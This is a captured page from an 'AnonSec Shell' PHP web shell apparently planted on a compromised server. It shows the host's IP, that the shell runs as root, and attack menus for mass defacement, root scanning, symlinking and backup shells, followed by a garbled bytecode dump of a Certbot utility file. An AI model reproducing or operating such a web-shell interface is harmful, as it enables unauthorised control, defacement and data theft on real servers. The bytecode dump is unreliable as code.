AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/certbot/_internal/display/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/certbot/_internal/display/__pycache__/util.cpython-310.pyc
o

6��a�@shdZddlmZddlZddlZddlmZdd�Zdd�Zdd
d�Z	dd
�Z
deedefdd�ZdS)z#Internal Certbot display utilities.�)�ListN)�miscc	Cs8|��}g}|D]}|�tj|dddd��qd�|�S)z�Format lines nicely to 80 chars.

    :param str msg: Original message

    :returns: Formatted message respecting newlines in message
    :rtype: str

    �PF)�break_long_words�break_on_hyphens�
)�
splitlines�append�textwrap�fill�join)�msg�lines�fixed_l�line�r�@/usr/lib/python3/dist-packages/certbot/_internal/display/util.py�
wrap_lines	s	
�
rcCsdj|d|dd�d�S)znPlace parens around first character of label.

    :param str label: Must contain at least one character

    z({first}){rest}r�N)�first�rest)�format)�labelrrr�parens_around_charsr���@cCs8|r
tj�|�tj��t�||�}|st�|�d�S)aGet user input with a timeout.

    Behaves the same as the builtin input, however, an error is raised if
    a user doesn't answer after timeout seconds. The default timeout
    value was chosen to place it just under 12 hours for users following
    our advice and running Certbot twice a day.

    :param str prompt: prompt to provide for input
    :param float timeout: maximum number of seconds to wait for input

    :returns: user response
    :rtype: str

    :raises errors.Error if no answer is given before the timeout

    r)�sys�stdout�write�flushr�readline_with_timeout�EOFError�rstrip)�prompt�timeoutrrrr�input_with_timeout(s

r$cCs|�dd�}dd�|��D�S)z�Separate a comma or space separated list.

    :param str input_: input from the user

    :returns: strings
    :rtype: list

    �,� cSsg|]}t|��qSr)�str)�.0�stringrrr�
<listcomp>Rsz'separate_list_input.<locals>.<listcomp>)�replace�split)�input_�	no_commasrrr�separate_list_inputFs	r/�domains�returncCsF|sdSt|�}|dkr|dS|dkrd�|�Sd�|d|d�S)aMSummarizes a list of domains in the format of:
        example.com.com and N more domains
    or if there is are only two domains:
        example.com and www.example.com
    or if there is only one domain:
        example.com

    :param list domains: `str` list of domains
    :returns: the domain list summary
    :rtype: str
    �rr�z and z{0} and {1} more domains)�lenrr)r0�lrrr�summarize_domain_listUs
r6)Nr)
�__doc__�typingrr
r�certbot.compatrrrr$r/r'r6rrrr�<module>s
	

Anon7 - 2022
AnonSec Team